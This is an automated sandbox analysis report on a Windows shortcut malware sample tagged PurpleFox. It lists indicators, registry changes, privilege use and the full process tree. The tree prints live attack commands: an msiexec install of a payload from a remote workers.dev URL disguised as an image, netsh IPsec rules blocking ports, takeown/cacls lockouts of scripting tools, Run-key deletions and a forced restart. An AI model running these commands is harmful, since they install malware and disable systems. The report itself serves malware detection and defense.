Analysis
-
max time kernel
117s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
03/10/2023, 13:58
Static task
static1
Behavioral task
behavioral1
Sample
11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk
Resource
win7-20230831-en
General
-
Target
11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk
-
Size
1KB
-
MD5
1370c8b810befea6651d6e60dee0b591
-
SHA1
7bbd08152f5eb10c199904e646ddd672e138e456
-
SHA256
11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03
-
SHA512
d6316cfb95c1205982ac4b0c20986a207132a89f4ab5bfd8eb20ba1e2b8eaf57e45d63dbb3d97100b390786fc911aa197ad9f7fb2f9eef779eb5e62297be606b
Malware Config
Signatures
-
resource yara_rule behavioral1/files/0x00070000000120e6-40.dat purplefox_msi -
Blocklisted process makes network request 1 IoCs
flow pid Process 5 3056 msiexec.exe -
Stops running service(s) 3 TTPs
-
Loads dropped DLL 4 IoCs
pid Process 2492 MsiExec.exe 2492 MsiExec.exe 2492 MsiExec.exe 2492 MsiExec.exe -
Modifies file permissions 1 TTPs 6 IoCs
pid Process 1580 takeown.exe 1464 takeown.exe 1848 takeown.exe 2448 takeown.exe 1832 takeown.exe 2604 takeown.exe -
Use of msiexec (install) with remote resource 1 IoCs
pid Process 2632 msiexec.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI8299.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8663.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8BB1.tmp msiexec.exe File created C:\Windows\dbcode86mk.log msiexec.exe File opened for modification C:\Windows\Installer\f76870d.ipi msiexec.exe File created C:\Windows\.xml msiexec.exe File opened for modification C:\Windows\Installer\MSI7DF6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI84EB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8578.tmp msiexec.exe File created C:\Windows\Installer\f76870d.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe -
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2440 sc.exe 2356 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 44 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c046c1b901f6d901 powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2632 msiexec.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3056 msiexec.exe 3056 msiexec.exe 2836 powershell.exe -
Suspicious use of AdjustPrivilegeToken 60 IoCs
description pid Process Token: SeShutdownPrivilege 2632 msiexec.exe Token: SeIncreaseQuotaPrivilege 2632 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeSecurityPrivilege 3056 msiexec.exe Token: SeCreateTokenPrivilege 2632 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2632 msiexec.exe Token: SeLockMemoryPrivilege 2632 msiexec.exe Token: SeIncreaseQuotaPrivilege 2632 msiexec.exe Token: SeMachineAccountPrivilege 2632 msiexec.exe Token: SeTcbPrivilege 2632 msiexec.exe Token: SeSecurityPrivilege 2632 msiexec.exe Token: SeTakeOwnershipPrivilege 2632 msiexec.exe Token: SeLoadDriverPrivilege 2632 msiexec.exe Token: SeSystemProfilePrivilege 2632 msiexec.exe Token: SeSystemtimePrivilege 2632 msiexec.exe Token: SeProfSingleProcessPrivilege 2632 msiexec.exe Token: SeIncBasePriorityPrivilege 2632 msiexec.exe Token: SeCreatePagefilePrivilege 2632 msiexec.exe Token: SeCreatePermanentPrivilege 2632 msiexec.exe Token: SeBackupPrivilege 2632 msiexec.exe Token: SeRestorePrivilege 2632 msiexec.exe Token: SeShutdownPrivilege 2632 msiexec.exe Token: SeDebugPrivilege 2632 msiexec.exe Token: SeAuditPrivilege 2632 msiexec.exe Token: SeSystemEnvironmentPrivilege 2632 msiexec.exe Token: SeChangeNotifyPrivilege 2632 msiexec.exe Token: SeRemoteShutdownPrivilege 2632 msiexec.exe Token: SeUndockPrivilege 2632 msiexec.exe Token: SeSyncAgentPrivilege 2632 msiexec.exe Token: SeEnableDelegationPrivilege 2632 msiexec.exe Token: SeManageVolumePrivilege 2632 msiexec.exe Token: SeImpersonatePrivilege 2632 msiexec.exe Token: SeCreateGlobalPrivilege 2632 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeShutdownPrivilege 1116 powercfg.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeTakeOwnershipPrivilege 2604 takeown.exe Token: SeTakeOwnershipPrivilege 1580 takeown.exe Token: SeTakeOwnershipPrivilege 1464 takeown.exe Token: SeTakeOwnershipPrivilege 1848 takeown.exe Token: SeTakeOwnershipPrivilege 2448 takeown.exe Token: SeTakeOwnershipPrivilege 1832 takeown.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe Token: SeRestorePrivilege 3056 msiexec.exe Token: SeTakeOwnershipPrivilege 3056 msiexec.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2956 wrote to memory of 2632 2956 cmd.exe 29 PID 2956 wrote to memory of 2632 2956 cmd.exe 29 PID 2956 wrote to memory of 2632 2956 cmd.exe 29 PID 2956 wrote to memory of 2632 2956 cmd.exe 29 PID 2956 wrote to memory of 2632 2956 cmd.exe 29 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 2492 3056 msiexec.exe 31 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 3056 wrote to memory of 1232 3056 msiexec.exe 33 PID 1232 wrote to memory of 1116 1232 MsiExec.exe 34 PID 1232 wrote to memory of 1116 1232 MsiExec.exe 34 PID 1232 wrote to memory of 1116 1232 MsiExec.exe 34 PID 1232 wrote to memory of 1116 1232 MsiExec.exe 34 PID 1232 wrote to memory of 2836 1232 MsiExec.exe 36 PID 1232 wrote to memory of 2836 1232 MsiExec.exe 36 PID 1232 wrote to memory of 2836 1232 MsiExec.exe 36 PID 1232 wrote to memory of 2836 1232 MsiExec.exe 36 PID 1232 wrote to memory of 2948 1232 MsiExec.exe 38 PID 1232 wrote to memory of 2948 1232 MsiExec.exe 38 PID 1232 wrote to memory of 2948 1232 MsiExec.exe 38 PID 1232 wrote to memory of 2948 1232 MsiExec.exe 38 PID 1232 wrote to memory of 1952 1232 MsiExec.exe 40 PID 1232 wrote to memory of 1952 1232 MsiExec.exe 40 PID 1232 wrote to memory of 1952 1232 MsiExec.exe 40 PID 1232 wrote to memory of 1952 1232 MsiExec.exe 40 PID 1232 wrote to memory of 1772 1232 MsiExec.exe 42 PID 1232 wrote to memory of 1772 1232 MsiExec.exe 42 PID 1232 wrote to memory of 1772 1232 MsiExec.exe 42 PID 1232 wrote to memory of 1772 1232 MsiExec.exe 42 PID 1232 wrote to memory of 2808 1232 MsiExec.exe 44 PID 1232 wrote to memory of 2808 1232 MsiExec.exe 44 PID 1232 wrote to memory of 2808 1232 MsiExec.exe 44 PID 1232 wrote to memory of 2808 1232 MsiExec.exe 44 PID 1232 wrote to memory of 2464 1232 MsiExec.exe 46 PID 1232 wrote to memory of 2464 1232 MsiExec.exe 46 PID 1232 wrote to memory of 2464 1232 MsiExec.exe 46 PID 1232 wrote to memory of 2464 1232 MsiExec.exe 46 PID 1232 wrote to memory of 2416 1232 MsiExec.exe 48 PID 1232 wrote to memory of 2416 1232 MsiExec.exe 48 PID 1232 wrote to memory of 2416 1232 MsiExec.exe 48 PID 1232 wrote to memory of 2416 1232 MsiExec.exe 48 PID 1232 wrote to memory of 2108 1232 MsiExec.exe 50 PID 1232 wrote to memory of 2108 1232 MsiExec.exe 50 PID 1232 wrote to memory of 2108 1232 MsiExec.exe 50 PID 1232 wrote to memory of 2108 1232 MsiExec.exe 50 PID 1232 wrote to memory of 2872 1232 MsiExec.exe 52 PID 1232 wrote to memory of 2872 1232 MsiExec.exe 52 PID 1232 wrote to memory of 2872 1232 MsiExec.exe 52 PID 1232 wrote to memory of 2872 1232 MsiExec.exe 52 PID 1232 wrote to memory of 1132 1232 MsiExec.exe 54 PID 1232 wrote to memory of 1132 1232 MsiExec.exe 54 PID 1232 wrote to memory of 1132 1232 MsiExec.exe 54 PID 1232 wrote to memory of 1132 1232 MsiExec.exe 54 PID 1232 wrote to memory of 2248 1232 MsiExec.exe 56
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i http://black-sun-a335.asyorfplmnv.workers.dev/mnwODBptK6jU/5hwtrLyyHFiv/7b0985c861986ec9e2087ade8273e544009d68e1/SsdxxIp8DqeQ.jpg /q2⤵
- Use of msiexec (install) with remote resource
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:2632
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 89A8BBC2D051A55C32C0B2314E56338C2⤵
- Loads dropped DLL
PID:2492
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1C1B2CDBF3C476E903F8729FA41571AA M Global\MSI00002⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\SysWOW64\powercfg.exe"C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1116
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2836
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye3⤵
- Modifies data under HKEY_USERS
PID:2948
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter13⤵
- Modifies data under HKEY_USERS
PID:1952
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:1772
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2808
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2464
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP3⤵
- Modifies data under HKEY_USERS
PID:2416
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP3⤵
- Modifies data under HKEY_USERS
PID:2108
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP3⤵
- Modifies data under HKEY_USERS
PID:2872
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:1132
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2248
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:1964
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2352
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:1936
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2068
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2268
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:544
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:892
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:1528
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP3⤵
- Modifies data under HKEY_USERS
PID:2244
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block3⤵
- Modifies data under HKEY_USERS
PID:2444
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion13⤵
- Modifies data under HKEY_USERS
PID:2720
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y3⤵
- Modifies data under HKEY_USERS
PID:2676
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N3⤵PID:2944
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1580
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N3⤵PID:372
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1464
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N3⤵PID:1456
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N3⤵PID:2952
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2448
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N3⤵PID:2480
-
-
C:\Windows\SysWOW64\takeown.exe"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\SysWOW64\cacls.exe"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N3⤵PID:1600
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f3⤵PID:2808
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f3⤵PID:2228
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f3⤵PID:2396
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\SysWOW64\sc.exe" stop wmiApSrv3⤵
- Launches sc.exe
PID:2440
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled3⤵
- Launches sc.exe
PID:2356
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD53a00f2cfe6e1d3f988a40084971be830
SHA12f0439e6730a20bd143dc09543cbc60a92549d51
SHA25668d5ac4675feffc108430436954306bec6625798d4d0f607d4db58f3f7f4fd08
SHA5124ee184d7a6783a6452ce4759da78ef6c8a78558558220aba3f066489240306c58d4da931896013e498f0f7ff0e1229cbaee03907837073aa84267cc783928c07
-
Filesize
2.9MB
MD5eb9a4cf233789b96f940be0186a26988
SHA1002a1cee740fa212732379d1f00dbcf7c0cccbf2
SHA25624d40ba4bf19e3cb942918eb8091ab467b11d5d737aef8e37cffc5306d0081d8
